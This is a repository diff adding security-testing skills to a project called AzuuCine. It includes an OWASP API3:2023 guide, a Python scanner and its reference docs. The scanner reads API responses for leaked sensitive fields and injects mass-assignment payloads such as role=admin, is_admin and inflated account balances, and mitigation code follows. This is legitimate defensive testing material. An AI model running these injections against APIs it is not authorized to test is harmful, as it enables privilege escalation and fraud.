Compare commits
58
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
c6a1382192 | ||
|
|
e45d0ce969 | ||
|
|
f580e9b5ed | ||
|
|
b2c3452672 | ||
|
|
9c42470ace | ||
|
|
ed905a3278 | ||
|
|
aa5442e02a | ||
|
|
0bf6002e7b | ||
|
|
0f3cc2e7d6 | ||
|
|
4c93b6a726 | ||
|
|
2f37438d16 | ||
|
|
e579cac315 | ||
|
|
9974027925 | ||
|
|
b68ddf895b | ||
|
|
8eda394ae3 | ||
|
|
95bf8f67f2 | ||
|
|
aae386de01 | ||
|
|
449d22666b | ||
|
|
6c18cfe71e | ||
|
|
586c1ec00a | ||
|
|
0adcafecf0 | ||
|
|
6f7064f53f | ||
|
|
53d984af8a | ||
|
|
308c0f2327 | ||
|
|
21e4354742 | ||
|
|
945ee32200 | ||
|
|
0dab749134 | ||
|
|
94c27739b2 | ||
|
|
3c0ffe40c6 | ||
|
|
c246b16e7e | ||
|
|
3cfc6fe1b6 | ||
|
|
88287fe18d | ||
|
|
618fd66e09 | ||
|
|
8fafb6799f | ||
|
|
d852e7d16a | ||
|
|
ac5ddb2255 | ||
|
|
329e836141 | ||
|
|
91009bd069 | ||
|
|
1b185e5e9d | ||
|
|
0e2b54a5c8 | ||
|
|
c5924cc009 | ||
|
|
080f733ba4 | ||
|
|
9612a7bfb2 | ||
|
|
d700543eba | ||
|
|
51a320b31f | ||
|
|
04b5005e3b | ||
|
|
542ad8cd14 | ||
|
|
1eed66e1c4 | ||
|
|
c82b7894a5 | ||
|
|
4e270e616a | ||
|
|
e72e99a927 | ||
|
|
434dd141d8 | ||
|
|
a5da756803 | ||
|
|
eaad6f1e77 | ||
|
|
b15207aa88 | ||
|
|
080279e456 | ||
|
|
b555ef3b94 | ||
|
|
a2365bafef |
No files matched your search
@@ -0,0 +1,13 @@
|
||||
# Skills de sécurité (tiers)
|
||||
|
||||
Sélection de 16 skills défensifs / de test tirés de
|
||||
[mukul975/anthropic-cybersecurity-skills](https://github.com/mukul975/anthropic-cybersecurity-skills)
|
||||
(commit `54a7988`, licence Apache-2.0 — fichier `LICENSE` dans chaque dossier).
|
||||
Projet communautaire, non affilié à Anthropic.
|
||||
|
||||
Retenus pour AzuuCine : contrôle d'accès / IDOR (≈ RLS Supabase), en-têtes et CSP, CORS,
|
||||
OAuth/PKCE, JWT, XSS, Edge Functions (serverless), limitation de débit, dépendances npm,
|
||||
secrets (gitleaks), RGPD, OWASP API Top 10.
|
||||
|
||||
Les scripts `scripts/*.py` envoient des requêtes de test : ne les lancer que contre
|
||||
AzuuCine (ou une copie locale), jamais contre un site tiers.
|
||||
@@ -0,0 +1,201 @@
|
||||
|
||||
Apache License
|
||||
Version 2.0, January 2004
|
||||
http://www.apache.org/licenses/
|
||||
|
||||
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
||||
|
||||
1. Definitions.
|
||||
|
||||
"License" shall mean the terms and conditions for use, reproduction,
|
||||
and distribution as defined by Sections 1 through 9 of this document.
|
||||
|
||||
"Licensor" shall mean the copyright owner or entity authorized by
|
||||
the copyright owner that is granting the License.
|
||||
|
||||
"Legal Entity" shall mean the union of the acting entity and all
|
||||
other entities that control, are controlled by, or are under common
|
||||
control with that entity. For the purposes of this definition,
|
||||
"control" means (i) the power, direct or indirect, to cause the
|
||||
direction or management of such entity, whether by contract or
|
||||
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
||||
outstanding shares, or (iii) beneficial ownership of such entity.
|
||||
|
||||
"You" (or "Your") shall mean an individual or Legal Entity
|
||||
exercising permissions granted by this License.
|
||||
|
||||
"Source" form shall mean the preferred form for making modifications,
|
||||
including but not limited to software source code, documentation
|
||||
source, and configuration files.
|
||||
|
||||
"Object" form shall mean any form resulting from mechanical
|
||||
transformation or translation of a Source form, including but
|
||||
not limited to compiled object code, generated documentation,
|
||||
and conversions to other media types.
|
||||
|
||||
"Work" shall mean the work of authorship, whether in Source or
|
||||
Object form, made available under the License, as indicated by a
|
||||
copyright notice that is included in or attached to the work
|
||||
(an example is provided in the Appendix below).
|
||||
|
||||
"Derivative Works" shall mean any work, whether in Source or Object
|
||||
form, that is based on (or derived from) the Work and for which the
|
||||
editorial revisions, annotations, elaborations, or other modifications
|
||||
represent, as a whole, an original work of authorship. For the purposes
|
||||
of this License, Derivative Works shall not include works that remain
|
||||
separable from, or merely link (or bind by name) to the interfaces of,
|
||||
the Work and Derivative Works thereof.
|
||||
|
||||
"Contribution" shall mean any work of authorship, including
|
||||
the original version of the Work and any modifications or additions
|
||||
to that Work or Derivative Works thereof, that is intentionally
|
||||
submitted to the Licensor for inclusion in the Work by the copyright owner
|
||||
or by an individual or Legal Entity authorized to submit on behalf of
|
||||
the copyright owner. For the purposes of this definition, "submitted"
|
||||
means any form of electronic, verbal, or written communication sent
|
||||
to the Licensor or its representatives, including but not limited to
|
||||
communication on electronic mailing lists, source code control systems,
|
||||
and issue tracking systems that are managed by, or on behalf of, the
|
||||
Licensor for the purpose of discussing and improving the Work, but
|
||||
excluding communication that is conspicuously marked or otherwise
|
||||
designated in writing by the copyright owner as "Not a Contribution."
|
||||
|
||||
"Contributor" shall mean Licensor and any individual or Legal Entity
|
||||
on behalf of whom a Contribution has been received by the Licensor and
|
||||
subsequently incorporated within the Work.
|
||||
|
||||
2. Grant of Copyright License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
copyright license to reproduce, prepare Derivative Works of,
|
||||
publicly display, publicly perform, sublicense, and distribute the
|
||||
Work and such Derivative Works in Source or Object form.
|
||||
|
||||
3. Grant of Patent License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
(except as stated in this section) patent license to make, have made,
|
||||
use, offer to sell, sell, import, and otherwise transfer the Work,
|
||||
where such license applies only to those patent claims licensable
|
||||
by such Contributor that are necessarily infringed by their
|
||||
Contribution(s) alone or by combination of their Contribution(s)
|
||||
with the Work to which such Contribution(s) was submitted. If You
|
||||
institute patent litigation against any entity (including a
|
||||
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
||||
or a Contribution incorporated within the Work constitutes direct
|
||||
or contributory patent infringement, then any patent licenses
|
||||
granted to You under this License for that Work shall terminate
|
||||
as of the date such litigation is filed.
|
||||
|
||||
4. Redistribution. You may reproduce and distribute copies of the
|
||||
Work or Derivative Works thereof in any medium, with or without
|
||||
modifications, and in Source or Object form, provided that You
|
||||
meet the following conditions:
|
||||
|
||||
(a) You must give any other recipients of the Work or
|
||||
Derivative Works a copy of this License; and
|
||||
|
||||
(b) You must cause any modified files to carry prominent notices
|
||||
stating that You changed the files; and
|
||||
|
||||
(c) You must retain, in the Source form of any Derivative Works
|
||||
that You distribute, all copyright, patent, trademark, and
|
||||
attribution notices from the Source form of the Work,
|
||||
excluding those notices that do not pertain to any part of
|
||||
the Derivative Works; and
|
||||
|
||||
(d) If the Work includes a "NOTICE" text file as part of its
|
||||
distribution, then any Derivative Works that You distribute must
|
||||
include a readable copy of the attribution notices contained
|
||||
within such NOTICE file, excluding any notices that do not
|
||||
pertain to any part of the Derivative Works, in at least one
|
||||
of the following places: within a NOTICE text file distributed
|
||||
as part of the Derivative Works; within the Source form or
|
||||
documentation, if provided along with the Derivative Works; or,
|
||||
within a display generated by the Derivative Works, if and
|
||||
wherever such third-party notices normally appear. The contents
|
||||
of the NOTICE file are for informational purposes only and
|
||||
do not modify the License. You may add Your own attribution
|
||||
notices within Derivative Works that You distribute, alongside
|
||||
or as an addendum to the NOTICE text from the Work, provided
|
||||
that such additional attribution notices cannot be construed
|
||||
as modifying the License.
|
||||
|
||||
You may add Your own copyright statement to Your modifications and
|
||||
may provide additional or different license terms and conditions
|
||||
for use, reproduction, or distribution of Your modifications, or
|
||||
for any such Derivative Works as a whole, provided Your use,
|
||||
reproduction, and distribution of the Work otherwise complies with
|
||||
the conditions stated in this License.
|
||||
|
||||
5. Submission of Contributions. Unless You explicitly state otherwise,
|
||||
any Contribution intentionally submitted for inclusion in the Work
|
||||
by You to the Licensor shall be under the terms and conditions of
|
||||
this License, without any additional terms or conditions.
|
||||
Notwithstanding the above, nothing herein shall supersede or modify
|
||||
the terms of any separate license agreement you may have executed
|
||||
with Licensor regarding such Contributions.
|
||||
|
||||
6. Trademarks. This License does not grant permission to use the trade
|
||||
names, trademarks, service marks, or product names of the Licensor,
|
||||
except as required for reasonable and customary use in describing the
|
||||
origin of the Work and reproducing the content of the NOTICE file.
|
||||
|
||||
7. Disclaimer of Warranty. Unless required by applicable law or
|
||||
agreed to in writing, Licensor provides the Work (and each
|
||||
Contributor provides its Contributions) on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
||||
implied, including, without limitation, any warranties or conditions
|
||||
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
||||
PARTICULAR PURPOSE. You are solely responsible for determining the
|
||||
appropriateness of using or redistributing the Work and assume any
|
||||
risks associated with Your exercise of permissions under this License.
|
||||
|
||||
8. Limitation of Liability. In no event and under no legal theory,
|
||||
whether in tort (including negligence), contract, or otherwise,
|
||||
unless required by applicable law (such as deliberate and grossly
|
||||
negligent acts) or agreed to in writing, shall any Contributor be
|
||||
liable to You for damages, including any direct, indirect, special,
|
||||
incidental, or consequential damages of any character arising as a
|
||||
result of this License or out of the use or inability to use the
|
||||
Work (including but not limited to damages for loss of goodwill,
|
||||
work stoppage, computer failure or malfunction, or any and all
|
||||
other commercial damages or losses), even if such Contributor
|
||||
has been advised of the possibility of such damages.
|
||||
|
||||
9. Accepting Warranty or Additional Liability. While redistributing
|
||||
the Work or Derivative Works thereof, You may choose to offer,
|
||||
and charge a fee for, acceptance of support, warranty, indemnity,
|
||||
or other liability obligations and/or rights consistent with this
|
||||
License. However, in accepting such obligations, You may act only
|
||||
on Your own behalf and on Your sole responsibility, not on behalf
|
||||
of any other Contributor, and only if You agree to indemnify,
|
||||
defend, and hold each Contributor harmless for any liability
|
||||
incurred by, or claims asserted against, such Contributor by reason
|
||||
of your accepting any such warranty or additional liability.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
APPENDIX: How to apply the Apache License to your work.
|
||||
|
||||
To apply the Apache License to your work, attach the following
|
||||
boilerplate notice, with the fields enclosed by brackets "[]"
|
||||
replaced with your own identifying information. (Don't include
|
||||
the brackets!) The text should be enclosed in the appropriate
|
||||
comment syntax for the file format. Please do not remove or change
|
||||
the license header comment from a contributed file except when
|
||||
necessary.
|
||||
|
||||
Copyright 2026 mukul975
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
||||
@@ -0,0 +1,412 @@
|
||||
---
|
||||
name: detecting-broken-object-property-level-authorization
|
||||
description: Detect and test for OWASP API3:2023 Broken Object Property Level Authorization
|
||||
(BOPLA), covering excessive data exposure in API responses and mass assignment via
|
||||
injected request-body properties. Use when reviewing API responses/requests for
|
||||
over-exposed or over-writable object fields, or building detection rules and test
|
||||
cases for property-level authorization gaps that object-level checks miss.
|
||||
domain: cybersecurity
|
||||
subdomain: api-security
|
||||
tags:
|
||||
- api-security
|
||||
- bopla
|
||||
- owasp-api3
|
||||
- mass-assignment
|
||||
- excessive-data-exposure
|
||||
- property-level-authorization
|
||||
- api-testing
|
||||
- penetration-testing
|
||||
version: '1.0'
|
||||
author: mahipal
|
||||
license: Apache-2.0
|
||||
nist_csf:
|
||||
- PR.PS-01
|
||||
- ID.RA-01
|
||||
- PR.DS-10
|
||||
- DE.CM-01
|
||||
mitre_attack:
|
||||
- T1190
|
||||
- T1213
|
||||
- T1212
|
||||
---
|
||||
|
||||
# Detecting Broken Object Property Level Authorization
|
||||
|
||||
## Overview
|
||||
|
||||
Broken Object Property Level Authorization (BOPLA), classified as API3:2023 in the OWASP API Security Top 10, combines two related vulnerability classes: Excessive Data Exposure (API returning more data than needed) and Mass Assignment (API accepting more data than intended). Even when APIs enforce object-level authorization correctly, they may fail to control which specific properties of an object a user can read or modify. Attackers exploit this by reading sensitive properties from API responses or injecting additional properties into request bodies to modify fields they should not have access to.
|
||||
|
||||
|
||||
## When to Use
|
||||
|
||||
- When investigating security incidents that require detecting broken object property level authorization
|
||||
- When building detection rules or threat hunting queries for this domain
|
||||
- When SOC analysts need structured procedures for this analysis type
|
||||
- When validating security monitoring coverage for related attack techniques
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- Target API with endpoints that return or accept object data
|
||||
- API documentation or schema (OpenAPI spec preferred)
|
||||
- Burp Suite or Postman for API request manipulation
|
||||
- Multiple user accounts with different privilege levels
|
||||
- Python 3.8+ with requests library for automated testing
|
||||
- Authorization to perform security testing
|
||||
|
||||
## Vulnerability Patterns
|
||||
|
||||
### Excessive Data Exposure
|
||||
|
||||
The API returns object properties the client does not need:
|
||||
|
||||
```json
|
||||
// GET /api/v1/users/123
|
||||
// Response includes sensitive fields the UI doesn't display:
|
||||
{
|
||||
"id": 123,
|
||||
"username": "john_doe",
|
||||
"email": "john@example.com",
|
||||
"name": "John Doe",
|
||||
"ssn": "123-45-6789", // Sensitive - not needed by UI
|
||||
"salary": 95000, // Sensitive - not needed by UI
|
||||
"internal_notes": "VIP client", // Internal - should not be exposed
|
||||
"password_hash": "$2b$12...", // Critical - never expose
|
||||
"role": "admin", // May enable privilege discovery
|
||||
"created_by": "system_admin", // Internal metadata
|
||||
"credit_card_last4": "4242" // PCI compliance violation
|
||||
}
|
||||
```
|
||||
|
||||
### Mass Assignment
|
||||
|
||||
The API binds client-supplied data to internal object properties without filtering:
|
||||
|
||||
```http
|
||||
// Normal user update request
|
||||
PUT /api/v1/users/123
|
||||
Content-Type: application/json
|
||||
|
||||
{
|
||||
"name": "John Updated",
|
||||
"email": "new@example.com",
|
||||
"role": "admin", // Attacker-injected: privilege escalation
|
||||
"is_verified": true, // Attacker-injected: bypass verification
|
||||
"discount_rate": 100, // Attacker-injected: business logic abuse
|
||||
"account_balance": 999999 // Attacker-injected: financial fraud
|
||||
}
|
||||
```
|
||||
|
||||
## Testing Methodology
|
||||
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
"""BOPLA Vulnerability Scanner
|
||||
|
||||
Tests APIs for Broken Object Property Level Authorization
|
||||
including Excessive Data Exposure and Mass Assignment.
|
||||
"""
|
||||
|
||||
import requests
|
||||
import json
|
||||
import sys
|
||||
from typing import Dict, List, Optional, Set
|
||||
from dataclasses import dataclass, field
|
||||
from copy import deepcopy
|
||||
|
||||
@dataclass
|
||||
class BOPLAFinding:
|
||||
endpoint: str
|
||||
method: str
|
||||
vulnerability_type: str # "excessive_exposure" or "mass_assignment"
|
||||
severity: str
|
||||
property_name: str
|
||||
details: str
|
||||
|
||||
class BOPLAScanner:
|
||||
SENSITIVE_PROPERTY_PATTERNS = {
|
||||
"critical": [
|
||||
"password", "password_hash", "secret", "token", "api_key",
|
||||
"private_key", "secret_key", "access_token", "refresh_token",
|
||||
],
|
||||
"high": [
|
||||
"ssn", "social_security", "tax_id", "credit_card", "card_number",
|
||||
"cvv", "bank_account", "routing_number",
|
||||
],
|
||||
"medium": [
|
||||
"salary", "income", "internal_notes", "admin_notes",
|
||||
"created_by", "modified_by", "ip_address", "session_id",
|
||||
"role", "permissions", "is_admin", "is_superuser", "privilege",
|
||||
],
|
||||
"low": [
|
||||
"phone", "address", "date_of_birth", "dob", "age",
|
||||
"gender", "ethnicity", "religion",
|
||||
]
|
||||
}
|
||||
|
||||
MASS_ASSIGNMENT_FIELDS = [
|
||||
("role", "admin"),
|
||||
("is_admin", True),
|
||||
("is_verified", True),
|
||||
("is_active", True),
|
||||
("email_verified", True),
|
||||
("account_type", "premium"),
|
||||
("discount_rate", 100),
|
||||
("credit_limit", 999999),
|
||||
("permissions", ["admin", "write", "delete"]),
|
||||
("account_balance", 999999),
|
||||
("subscription_tier", "enterprise"),
|
||||
("rate_limit", 999999),
|
||||
]
|
||||
|
||||
def __init__(self, base_url: str, auth_headers: Dict[str, str]):
|
||||
self.base_url = base_url.rstrip('/')
|
||||
self.auth_headers = auth_headers
|
||||
self.findings: List[BOPLAFinding] = []
|
||||
|
||||
def test_excessive_data_exposure(self, endpoint: str,
|
||||
expected_fields: Set[str]) -> List[BOPLAFinding]:
|
||||
"""Test if API response contains more fields than expected."""
|
||||
findings = []
|
||||
url = f"{self.base_url}{endpoint}"
|
||||
|
||||
try:
|
||||
response = requests.get(url, headers=self.auth_headers, timeout=10)
|
||||
if response.status_code != 200:
|
||||
return findings
|
||||
|
||||
data = response.json()
|
||||
|
||||
# Handle both single object and list responses
|
||||
objects = data if isinstance(data, list) else [data]
|
||||
if isinstance(data, dict) and "data" in data:
|
||||
objects = data["data"] if isinstance(data["data"], list) else [data["data"]]
|
||||
|
||||
for obj in objects[:5]: # Check first 5 objects
|
||||
if not isinstance(obj, dict):
|
||||
continue
|
||||
|
||||
response_fields = set(self._flatten_keys(obj))
|
||||
unexpected_fields = response_fields - expected_fields
|
||||
|
||||
for field_name in unexpected_fields:
|
||||
severity = self._classify_sensitivity(field_name)
|
||||
if severity:
|
||||
finding = BOPLAFinding(
|
||||
endpoint=endpoint,
|
||||
method="GET",
|
||||
vulnerability_type="excessive_exposure",
|
||||
severity=severity,
|
||||
property_name=field_name,
|
||||
details=f"Unexpected sensitive field '{field_name}' in response"
|
||||
)
|
||||
findings.append(finding)
|
||||
self.findings.append(finding)
|
||||
|
||||
except (requests.exceptions.RequestException, json.JSONDecodeError):
|
||||
pass
|
||||
|
||||
return findings
|
||||
|
||||
def test_mass_assignment(self, endpoint: str, method: str = "PUT",
|
||||
original_data: Optional[dict] = None) -> List[BOPLAFinding]:
|
||||
"""Test if API accepts and processes additional injected properties."""
|
||||
findings = []
|
||||
url = f"{self.base_url}{endpoint}"
|
||||
|
||||
# First, get the current object state
|
||||
if original_data is None:
|
||||
try:
|
||||
response = requests.get(url, headers=self.auth_headers, timeout=10)
|
||||
if response.status_code == 200:
|
||||
original_data = response.json()
|
||||
else:
|
||||
original_data = {}
|
||||
except (requests.exceptions.RequestException, json.JSONDecodeError):
|
||||
original_data = {}
|
||||
|
||||
# Test each mass assignment field
|
||||
for field_name, injected_value in self.MASS_ASSIGNMENT_FIELDS:
|
||||
if field_name in original_data:
|
||||
# Field exists - test if we can modify it
|
||||
original_value = original_data[field_name]
|
||||
if original_value == injected_value:
|
||||
continue # Already has this value
|
||||
|
||||
test_data = deepcopy(original_data)
|
||||
test_data[field_name] = injected_value
|
||||
|
||||
headers = {**self.auth_headers, "Content-Type": "application/json"}
|
||||
|
||||
try:
|
||||
if method == "PUT":
|
||||
response = requests.put(url, json=test_data,
|
||||
headers=headers, timeout=10)
|
||||
elif method == "PATCH":
|
||||
response = requests.patch(url, json={field_name: injected_value},
|
||||
headers=headers, timeout=10)
|
||||
elif method == "POST":
|
||||
response = requests.post(url, json=test_data,
|
||||
headers=headers, timeout=10)
|
||||
|
||||
if response.status_code in (200, 201, 204):
|
||||
# Verify the field was actually modified
|
||||
verify_response = requests.get(url, headers=self.auth_headers, timeout=10)
|
||||
if verify_response.status_code == 200:
|
||||
updated_data = verify_response.json()
|
||||
if updated_data.get(field_name) == injected_value:
|
||||
finding = BOPLAFinding(
|
||||
endpoint=endpoint,
|
||||
method=method,
|
||||
vulnerability_type="mass_assignment",
|
||||
severity="CRITICAL" if field_name in ["role", "is_admin", "permissions"]
|
||||
else "HIGH",
|
||||
property_name=field_name,
|
||||
details=f"Successfully injected '{field_name}={injected_value}'"
|
||||
)
|
||||
findings.append(finding)
|
||||
self.findings.append(finding)
|
||||
|
||||
# Restore original value if possible
|
||||
if field_name in original_data:
|
||||
restore_data = {field_name: original_data[field_name]}
|
||||
requests.patch(url, json=restore_data,
|
||||
headers=headers, timeout=10)
|
||||
|
||||
except requests.exceptions.RequestException:
|
||||
continue
|
||||
|
||||
return findings
|
||||
|
||||
def test_graphql_property_exposure(self, graphql_endpoint: str,
|
||||
query: str) -> List[BOPLAFinding]:
|
||||
"""Test GraphQL APIs for property-level authorization issues."""
|
||||
findings = []
|
||||
url = f"{self.base_url}{graphql_endpoint}"
|
||||
|
||||
# Introspection query to discover available fields
|
||||
introspection = """
|
||||
{
|
||||
__schema {
|
||||
types {
|
||||
name
|
||||
fields {
|
||||
name
|
||||
type { name kind }
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
"""
|
||||
|
||||
try:
|
||||
response = requests.post(
|
||||
url,
|
||||
json={"query": introspection},
|
||||
headers=self.auth_headers,
|
||||
timeout=10
|
||||
)
|
||||
|
||||
if response.status_code == 200:
|
||||
data = response.json()
|
||||
if "errors" not in data:
|
||||
finding = BOPLAFinding(
|
||||
endpoint=graphql_endpoint,
|
||||
method="POST",
|
||||
vulnerability_type="excessive_exposure",
|
||||
severity="MEDIUM",
|
||||
property_name="__schema",
|
||||
details="GraphQL introspection enabled - full schema exposed"
|
||||
)
|
||||
findings.append(finding)
|
||||
self.findings.append(finding)
|
||||
|
||||
except requests.exceptions.RequestException:
|
||||
pass
|
||||
|
||||
return findings
|
||||
|
||||
def _flatten_keys(self, obj: dict, prefix: str = "") -> List[str]:
|
||||
"""Recursively flatten nested dictionary keys."""
|
||||
keys = []
|
||||
for key, value in obj.items():
|
||||
full_key = f"{prefix}.{key}" if prefix else key
|
||||
keys.append(full_key)
|
||||
if isinstance(value, dict):
|
||||
keys.extend(self._flatten_keys(value, full_key))
|
||||
return keys
|
||||
|
||||
def _classify_sensitivity(self, field_name: str) -> Optional[str]:
|
||||
"""Classify the sensitivity level of a field name."""
|
||||
lower_name = field_name.lower().split('.')[-1]
|
||||
for severity, patterns in self.SENSITIVE_PROPERTY_PATTERNS.items():
|
||||
for pattern in patterns:
|
||||
if pattern in lower_name:
|
||||
return severity.upper()
|
||||
return None
|
||||
|
||||
def generate_report(self) -> dict:
|
||||
return {
|
||||
"total_findings": len(self.findings),
|
||||
"by_type": {
|
||||
"excessive_exposure": len([f for f in self.findings
|
||||
if f.vulnerability_type == "excessive_exposure"]),
|
||||
"mass_assignment": len([f for f in self.findings
|
||||
if f.vulnerability_type == "mass_assignment"]),
|
||||
},
|
||||
"by_severity": {
|
||||
"CRITICAL": len([f for f in self.findings if f.severity == "CRITICAL"]),
|
||||
"HIGH": len([f for f in self.findings if f.severity == "HIGH"]),
|
||||
"MEDIUM": len([f for f in self.findings if f.severity == "MEDIUM"]),
|
||||
"LOW": len([f for f in self.findings if f.severity == "LOW"]),
|
||||
},
|
||||
"findings": [
|
||||
{
|
||||
"endpoint": f.endpoint,
|
||||
"method": f.method,
|
||||
"type": f.vulnerability_type,
|
||||
"severity": f.severity,
|
||||
"property": f.property_name,
|
||||
"details": f.details,
|
||||
}
|
||||
for f in self.findings
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
## Mitigation
|
||||
|
||||
```python
|
||||
# Server-side: Explicit property allowlists
|
||||
class UserSerializer:
|
||||
# Only expose these fields - never use to_json() or to_dict()
|
||||
PUBLIC_FIELDS = ['id', 'username', 'name', 'avatar_url']
|
||||
OWNER_FIELDS = PUBLIC_FIELDS + ['email', 'phone', 'preferences']
|
||||
ADMIN_FIELDS = OWNER_FIELDS + ['role', 'created_at', 'last_login']
|
||||
|
||||
def serialize(self, user, requesting_user):
|
||||
if requesting_user.is_admin:
|
||||
fields = self.ADMIN_FIELDS
|
||||
elif requesting_user.id == user.id:
|
||||
fields = self.OWNER_FIELDS
|
||||
else:
|
||||
fields = self.PUBLIC_FIELDS
|
||||
|
||||
return {field: getattr(user, field) for field in fields}
|
||||
|
||||
# Mass assignment protection - explicit allowlist for writable fields
|
||||
WRITABLE_FIELDS = {'name', 'email', 'phone', 'avatar_url', 'preferences'}
|
||||
|
||||
def update_user(user_id, request_data, requesting_user):
|
||||
# Filter out any fields not in the allowlist
|
||||
safe_data = {k: v for k, v in request_data.items() if k in WRITABLE_FIELDS}
|
||||
# Apply updates only with safe data
|
||||
User.objects.filter(id=user_id).update(**safe_data)
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
- OWASP API3:2023: https://owasp.org/API-Security/editions/2023/en/0xa3-broken-object-property-level-authorization/
|
||||
- Salt Security BOPLA Analysis: https://salt.security/blog/api3-2023-broken-object-property-level-authorization
|
||||
- Wallarm BOPLA Guide: https://lab.wallarm.com/api32023-broken-object-property-level-authorization/
|
||||
- API Security News BOPLA: https://apisecurity.io/owasp-api-security-top-10/api3-2023-broken-object-property-level-authorization/
|
||||
- CloudDefense BOPLA: https://www.clouddefense.ai/owasp/2023/3
|
||||
+76
@@ -0,0 +1,76 @@
|
||||
# API Reference: Detecting Broken Object Property Level Authorization
|
||||
|
||||
## OWASP API3:2023 Classification
|
||||
|
||||
| Category | Description |
|
||||
|----------|-------------|
|
||||
| Excessive Data Exposure | API returns more properties than client needs |
|
||||
| Mass Assignment | API accepts more properties than intended |
|
||||
| CWE-213 | Exposure of Sensitive Information Due to Incompatible Policies |
|
||||
| CWE-915 | Improperly Controlled Modification of Dynamically-Determined Object Attributes |
|
||||
|
||||
## Python requests Library
|
||||
|
||||
```python
|
||||
import requests
|
||||
|
||||
# GET - test for excessive exposure
|
||||
resp = requests.get(url, headers={"Authorization": f"Bearer {token}"}, timeout=10)
|
||||
resp.status_code # 200, 401, 403
|
||||
resp.json() # parsed response body
|
||||
|
||||
# PUT - test for mass assignment
|
||||
resp = requests.put(url, json={"role": "admin"}, headers=headers, timeout=10)
|
||||
|
||||
# PATCH - test for partial mass assignment
|
||||
resp = requests.patch(url, json={"is_admin": True}, headers=headers, timeout=10)
|
||||
```
|
||||
|
||||
## Sensitive Field Patterns
|
||||
|
||||
| Severity | Fields |
|
||||
|----------|--------|
|
||||
| Critical | password, password_hash, secret, token, api_key, private_key |
|
||||
| High | ssn, credit_card, card_number, cvv, bank_account |
|
||||
| Medium | salary, role, permissions, is_admin, session_id |
|
||||
| Low | phone, address, date_of_birth, gender |
|
||||
|
||||
## Mass Assignment Test Payloads
|
||||
|
||||
```json
|
||||
{"role": "admin"}
|
||||
{"is_admin": true}
|
||||
{"is_verified": true}
|
||||
{"account_type": "premium"}
|
||||
{"discount_rate": 100}
|
||||
{"permissions": ["admin", "write", "delete"]}
|
||||
```
|
||||
|
||||
## Burp Suite Extensions
|
||||
|
||||
```
|
||||
# Autorize - test authorization across roles
|
||||
# Param Miner - discover hidden parameters
|
||||
# JSON Beautifier - inspect response properties
|
||||
```
|
||||
|
||||
## CLI Usage
|
||||
|
||||
```bash
|
||||
python agent.py --base-url https://api.example.com \
|
||||
--endpoint /api/v1/users/123 \
|
||||
--token "eyJhbGciOiJIUzI1NiJ9..." \
|
||||
--expected-fields id username name email \
|
||||
--test both --method PUT
|
||||
```
|
||||
|
||||
## Mitigation Patterns
|
||||
|
||||
```python
|
||||
# Allowlist serialization (Django REST Framework)
|
||||
class UserSerializer(serializers.ModelSerializer):
|
||||
class Meta:
|
||||
model = User
|
||||
fields = ['id', 'username', 'name'] # explicit allowlist
|
||||
read_only_fields = ['id', 'role', 'is_admin']
|
||||
```
|
||||
@@ -0,0 +1,159 @@
|
||||
#!/usr/bin/env python3
|
||||
"""BOPLA vulnerability scanner for OWASP API3:2023 Broken Object Property Level Authorization.
|
||||
|
||||
Tests APIs for excessive data exposure and mass assignment vulnerabilities
|
||||
by comparing responses against expected field sets and injecting extra properties.
|
||||
"""
|
||||
|
||||
import argparse
|
||||
import json
|
||||
import sys
|
||||
from copy import deepcopy
|
||||
|
||||
try:
|
||||
import requests
|
||||
except ImportError:
|
||||
print("Install requests: pip install requests")
|
||||
sys.exit(1)
|
||||
|
||||
SENSITIVE_PATTERNS = {
|
||||
"critical": ["password", "password_hash", "secret", "token", "api_key",
|
||||
"private_key", "access_token", "refresh_token"],
|
||||
"high": ["ssn", "social_security", "tax_id", "credit_card", "card_number",
|
||||
"cvv", "bank_account", "routing_number"],
|
||||
"medium": ["salary", "income", "internal_notes", "role", "permissions",
|
||||
"is_admin", "is_superuser", "session_id", "ip_address"],
|
||||
"low": ["phone", "address", "date_of_birth", "dob", "gender"]
|
||||
}
|
||||
|
||||
MASS_ASSIGNMENT_PAYLOADS = [
|
||||
("role", "admin"), ("is_admin", True), ("is_verified", True),
|
||||
("email_verified", True), ("account_type", "premium"),
|
||||
("discount_rate", 100), ("permissions", ["admin", "write", "delete"]),
|
||||
("account_balance", 999999), ("subscription_tier", "enterprise"),
|
||||
]
|
||||
|
||||
|
||||
def classify_field(field_name):
|
||||
lower = field_name.lower().split(".")[-1]
|
||||
for severity, patterns in SENSITIVE_PATTERNS.items():
|
||||
for p in patterns:
|
||||
if p in lower:
|
||||
return severity.upper()
|
||||
return None
|
||||
|
||||
|
||||
def flatten_keys(obj, prefix=""):
|
||||
keys = []
|
||||
for k, v in obj.items():
|
||||
full = f"{prefix}.{k}" if prefix else k
|
||||
keys.append(full)
|
||||
if isinstance(v, dict):
|
||||
keys.extend(flatten_keys(v, full))
|
||||
return keys
|
||||
|
||||
|
||||
def test_excessive_exposure(base_url, endpoint, expected_fields, headers):
|
||||
findings = []
|
||||
url = f"{base_url.rstrip('/')}{endpoint}"
|
||||
try:
|
||||
